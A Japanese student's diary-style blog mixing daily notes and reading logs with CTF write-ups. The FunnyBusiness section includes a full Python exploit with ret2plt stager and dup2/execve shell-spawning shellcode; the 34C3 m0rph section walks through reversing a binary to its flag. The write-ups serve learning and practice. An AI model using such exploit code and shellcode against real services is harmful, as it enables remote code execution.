更新日時で差をつけろ

むしろ差をつけられている

1/4

1/2から今日までMAGURO CTFのmemoというpwn問で悩んでいた。
GOT Overwriteとかshellcodeとか初心者なりにいろいろ考えて、ローカルではシェルを取ることができたが(yay!)何故かncで接続して実行してもFLAGにはたどり着けなかった。
一通り思いつく解法が全部ダメだったので諦めた。

write-upのない常設はこういうときに得るものが少ないのでやはり過去問から埋めるべきだと思った。
easyができるようになる頃には常設もわかるようになってるやろ(鼻ほじ
そういう意味で問題サーバが動いたままになっていてwrite-upも公開されているpicoCTFは良い。というわけで明日はpicoCTF Level3 Config Consoleをやってみる。format string attackの問題。

坂口恭平「現実脱出論」を読みきった。少しずつ読んでいたので忘れている内容もあるのでまた読み返したい。「現実とはリアルではなくヴァーチャルなのだ」という一言が印象的だった。
図書館で講談社の新書が並んだ棚(「女装と日本人」というのも)に何冊かだけ黒い表紙の本があった。
それが気になり「現実脱出論」を手に取り適当に開くと、「小学生の頃から一日の時間を円グラフにして、その日の朝にやることをすべて決めていた」という記述が目に飛び込んできた。自分もそういう時間の使い方の改善で悩んでいたので、読む価値があると思い借りた。時間の使いかたについてはほとんど触れられなかったが。

明日明後日で1冊ぐらい読んでおきたい。冬休みはあと3日あるが、1/7は勉強会なので。
事前準備としてKali Linuxを入れたAWSインスタンスが必要らしいので無料枠で購入しておいた。
ペネトレーションOSはほとんど使ったことがなくてわからない…

Santaに招待されたのでInstagramを始めた。部屋に篭っていて写すものがないので適当にココアの画像でも上げておいた。0秒ラテアートとでも名付けておけばよかった。
音ゲーのリザルトを上げるわけにもいかないので、旅行する時に活用しよう。

相変わらずHHKBのキーの跳ね返る感触がたまらない。本当に買ってよかった。
そういえば家に帰ってからディスプレイを使うとそこそこの頻度で画面が消えたりするので不安。電圧的なアレだろうか(電気科だけどわからない)。

Ghost in The Shellcode 2013 「FunnyBusiness」を解いた

pwn問題集のbabyより。
事前準備として$ useradd -m funnybusinessが必要。getpwnamを使うのでsudoを付けて動かす。

lddでリンクされているライブラリを見るとlibzがあった。
leaveとかどこにも書いてないし、アセンブリがどうも読みづらいがこれはFORTIFY_SOURCEによるものらしい。
https://access.redhat.com/blogs/766093/posts/1976213

仕方ないのでデバッガの助けを借りてrecvの辺りから広げていって読むことにした。
がんばって読むと、0x4000以下の数値をrecvしたあと、その長さ分だけまたrecv.bssに格納してInflateで展開してからretするプログラムのようだ。BOFも見つけた。
いろいろ試して2回目の入力の先頭の7バイト目からが指すアドレスにreturnするとわかったのだが、shellcodeをどこに入れればよいかわからなかった。アドレスもわからないし。

日本語も英語もwrite-upがほとんどなかった。以下を参考にした。
http://shimasyaro.hatenablog.com/entry/2017/02/20/130636

  • 1, 2回目のrecvret2pltを仕込み、もう1度recvが呼ばれるようにする(stager)。このときのrecvのリターン先にはASLRでも固定されている.bssのアドレスを指定する
  • 3回目のrecvでshellcodeを入れる
  • そのshellcodeにリターン、実行される

import socket, time, os, struct, telnetlib
 
def connect(ip, port):
    return socket.create_connection((ip, port))
 
def p(x):
    return struct.pack("<I", x)
 
def u(x):
    return struct.unpack("<I", x)[0]
 
def interact(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()
 
#######################################
 
import zlib
 
s = connect('localhost', 49681)
 
# dup2(4), execve
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
bss_addr = 0x804b080
recv_plt = 0x80487b0
 
payload  = 'A' * 6
payload += p(recv_plt) # stager(ret2plt)
payload += p(bss_addr)
payload += p(4) # arguments...(descriptor, buffer, length, flags)
payload += p(bss_addr)
payload += p(len(shellcode))
payload += p(0)
 
print(payload.encode('string_escape'))
 
compressed = zlib.compress(payload, 0)
 
s.send(p(len(compressed)))
s.send(compressed)
 
s.send(shellcode)
interact(s)

34C3 CTFに参加した

2017年最後のCTF, 34C3 CTFにHarekazeから参加しました。
結果として1問しか解けなかった、難しい〜〜
vimは惜しいところまで行ってたけど時間と賢さが足りなかった。

m0rph (rev easy)

49点。一番スコアが低い問題。
ある.tar.gzが渡されて、解凍するとx86-64なELFが出てくる。

Gyazo

せっかくなので使い始めたradare2で見てみる。画像はs mainからのVVのあと、後述するループの部分まで移動したところ。

まず.rodataの領域からヒープにコピーする。(PIEが有効なためセクションのアドレスはわからないのでbreak *0info filereadelf -Sでがんばる)
その後、コマンドライン引数として0x17サイズの文字列が渡されたときに中身の処理に移っている。(mainが初めにediをローカル変数として$ebp-0x24に保存している。これはmainの第1引数argcのこと。また、rsiも同様に第2引数argvへのポインタを保存している)

そのあと0x17回ループを行い、うまくループが終わればWhat are you waiting for, go submit that flag!と表示される。
とりあえず適当に$ ./morph 34C3_hogehogeと渡すと何も言わずexitしてしまう。call raxあたりでexitに飛んでしまうのだろう。

画像の上の四角でローカル変数に値を取り出している。
が、これだけだと何がしたいのかよくわからないので0x00202020の中身を表示してみる(表示してみればよい、というそれだけのことに気づかず無限に時間溶けた)。
これとコード(とセクションのアドレス)を照らし合わせるとなんとなくわかったような、わからんような…

gdb-peda$ x/128gx 0x555555757260
0x555555757260: 0x0000555555757330  0x0000555555757350
0x555555757270: 0x00005555557574f0  0x00005555557575f0
0x555555757280: 0x00005555557573d0  0x00005555557575b0
0x555555757290: 0x0000555555757530  0x00005555557574d0
0x5555557572a0: 0x0000555555757490  0x0000555555757410
0x5555557572b0: 0x0000555555757570  0x00005555557575d0
0x5555557572c0: 0x0000555555757510  0x00005555557573b0
0x5555557572d0: 0x0000555555757550  0x0000555555757590
0x5555557572e0: 0x0000555555757450  0x0000555555757430
0x5555557572f0: 0x0000555555757370  0x0000555555757470
0x555555757300: 0x00005555557573f0  0x00005555557574b0
0x555555757310: 0x0000555555757390  0x0000000000000000
0x555555757320: 0x0000000000000000  0x0000000000000021
0x555555757330: 0x00007ffff7ff3000  0x0000000000000000
0x555555757340: 0x0000000000000000  0x0000000000000021
0x555555757350: 0x00007ffff7ff3011  0x0000000000000111
0x555555757360: 0x0000000000000000  0x0000000000000021
0x555555757370: 0x00007ffff7ff3022  0x0000000000000222
0x555555757380: 0x0000000000000000  0x0000000000000021
0x555555757390: 0x00007ffff7ff3033  0x0000000000000333
0x5555557573a0: 0x0000000000000000  0x0000000000000021
0x5555557573b0: 0x00007ffff7ff3044  0x0000000000000444
0x5555557573c0: 0x0000000000000000  0x0000000000000021
0x5555557573d0: 0x00007ffff7ff3055  0x0000000000000555
0x5555557573e0: 0x0000000000000000  0x0000000000000021
0x5555557573f0: 0x00007ffff7ff3066  0x0000000000000666
0x555555757400: 0x0000000000000000  0x0000000000000021
0x555555757410: 0x00007ffff7ff3077  0x0000000000000777
0x555555757420: 0x0000000000000000  0x0000000000000021
〜〜〜省略〜〜〜
0x555555757630: 0x0000000000000000  0x0000000000000000
0x555555757640: 0x0000000000000000  0x0000000000000000
0x555555757650: 0x0000000000000000  0x0000000000000000

まあいいやということで下の2つの四角も読んでいく。
$ebp-0x10が指す値の9バイト先を読んだりcall raxしたりしてる。なんか中途半端だしややこしい。
とりあえずexitさせたくないので0xb950xbc6ブレークポイントを張って何が行われているか見ることにした。
Gyazo

0x33、つまり'3'と比較してjmpしているようだ。フラグは34C3_から始まるので、次は'4'と比較するのかな?

と思ったが違った。'_'だ。引数チェックをした後にsrandが呼ばれていたのでランダムに比較しているみたい。
引数のどこと比較しているかは第1引数に書いてある(この場合はA)。
Gyazo

何度か繰り返すと他の文字も出てきた。
いずれフラグのすべての文字と比較することになるので、ここからフラグが導き出せるのでは?
34C3_AAAAAAAAAAAAAAAAAAだとどこと比較しているかわかりづらいので、34C3_abcdefghijklmnopqrと変えてrunした。

FLAG: 34C3_M1GHTY_M0RPh1nG_g0

「もちろん俺らはsolveするで?」
「どうやってsolveすんねん」
「(cキーに踏み込み)拳で」※実際は指

書いたら簡単だけどすごく時間かかった。遠回りした。

12/27

sei0o-oooooooooo AAAAE-A-A-I-A-U- JO-oooooooooooo AAE-O-A-A-U-U-A- E-eee-ee-eee AAAAE-A-E-I-E-A- JO-ooo-oo-oo-oo EEEEO-A-AAA-AAAA

Brain Powerを強化していきたい季節。
ただ最近思うのは、脳のスタミナじゃなくて単純にまず体力が足りていないのではということ。運動したくなーい…

FunnyBusinessをwrite-up見て解いた。どうも.bssを使うという発想に行き着かない。明日まとめる。
これが出題されたGhost in Shellcode CTFの他の問題も楽しそうなのがあったので余裕があれば見てみたい。
家のルータから部屋の距離が離れているので無線LANにまともに接続できない。どうにかしたいけど階が違うので有線で引っ張ってくるのはだるそう。

exploit書く時に時間かかりすぎて疲れたので夜は「はじめての言語ゲーム」という本を読んでいた。 面白い。普段本は技術書しか読まないので、何読んでも面白いって思える。ある意味で幸せである。

「いいねした人に一言」というようなツイートにいいねをするといろいろ返ってきて面白い。まあそりゃそうか。
明日は年内最後のCTF, 34C3。なんか評判が良いらしいので期待している。解けるかな??

12/26: 眠い

資料を見ながら実際にDEFCONのheapを解いた。理解するのは時間がかかるけど、やってることはヘッダのsizeをごまかして書き換えたい場所から8byte引いてるだけなんだよな〜 もちろん他の問題だとそうは行かないだろうけど。

pwn問題集のbabyからFunnyBusinessという問題を選んで取り組んでいるのだが、アセンブリがどうも読みづらい。
leaveとかどこにも書いてないし。仕方ないので動的解析の助けを借りてrecvの辺りから広げていって読むことにした。夕方から結構眠くてアセンブリの内容も頭に入ってこなかったゆえ、radare2のチュートリアルを進めた。今までの左にgdb、右にobjdumpの逆アセンブル結果をvimでメモ書きして、putsの文字列なんかをいちいちx/sで表示していたのがアホらしくなった。
A journey into Radare 2 – Part 1: Simple crackme – Megabeets

日本語文献が少ないそうなので何か書こうかなぁ。そのうち自然とwrite-upに出現させてそうだ。

民法はおもしろいという本を読み切った。最後の方はあんまりだったけど、中盤まではためになる面白い内容が多かった。「民法への招待」も読んでみたい。学校の図書館はさすがに買ってくれなさそうだ。

英字配列にしてからというものの、記号や数字を打つスピードがさらに遅くなっていて支障を感じていたのでタイピングをやりなおしている。今まではMキーやNキーを親指で押したり、中指でほとんどのキーをカバーしたりしていたのが、薬指や小指を活用するようにした。すると、キーボードの打鍵速度は大して変わらないのに音ゲーの指押しが上手になった。oh...

Xmas Contest 2017 に参加した

AとGの2完。プログラムを書かない問題ばかり解いた。
SATソルバの問題を見てPrologを勉強したくなった。あとで解説見て実装したい。
肝心の競プロらしい問題はサッパリだった。

A: Compressor

2WA出した。
2つのwavファイルからコンプレッサーにかけた後のものを選ぶ問題。
コンプレッサーについてまずは調べる。
http://taira-komori.jpn.org/06compressor.html このページ曰く、

コンプレス(compress)は圧縮する・押し付ける・縮める、という意味です。このエフェクトは波形上の大きな音の部分を下げ、反対 に小さな音の部分を上げて、全体を出来るだけ同じ大きさの音にします。

つまり2つを比べて音圧が狭い範囲に収まっているほうが答え。
Sonic Visualizerを用いてサンプルファイルの波形を見てみる。青い方がコンプレッサーをかけた後、緑が前。たしかにかける前はギザギザしている。
Gyazo

問題のファイルではもう少しわかりづらくなっているが、最大・最小値(赤丸を付けた部分)が0に近くなっているほうがコンプレス後。この画像(11個目のwav)では青い方。
Gyazo

AABAAAABABABBABが答え。

G: Maze

A~Zのめんどくさそうな迷路が与えられ、ゴールにたどり着けるものを選ぶ。
手で解くのはつらいので迷路ソルバを探していたところ、GIMPなどの画像編集ソフトで迷路を解く記事を見つけた。
http://www.instructables.com/id/Solving-maze-using-Photoshop-Gimp-Paint-or-any-oth/
これの手順を踏むと以下のようになる。線が迷路の周りをぐるっと1周してしまっているのは解けない迷路、逆に中を通っているのが解ける迷路。

Gyazo

ACEFGHNPQSYZが答え。

12/24

クリスマスイブ。肉を食べました。

昨日から取り組んでいたbfを解けたので記事を書いた。そろそろヒープの勉強をしたくなったのでkatagaitai勉強会のスライドで紹介されていたmalloc動画を見ている。結構な分量なのでまだ見終わっていない。

せっかく帰省したことだし昼は図書館に行って本を借りた。Web系の技術書は陳腐化したものが少なくないが、それほど変化が速くないバイナリなどについての本が多く揃っているので便利。たまには志向を変えて新書なんかも借りた。冬休み中に読めるところまで読みたい。
図書館のほうでアンケートがあってので、自由欄に「策謀本を入れてください!」と書いてきた。

Xmas Contest 2017に出た。チームで出てもよかったのだが、それはそれで解ける問題がなくなってしまいそうなので一人で出た。2完。結局コードは1行も使わなかった(は?)。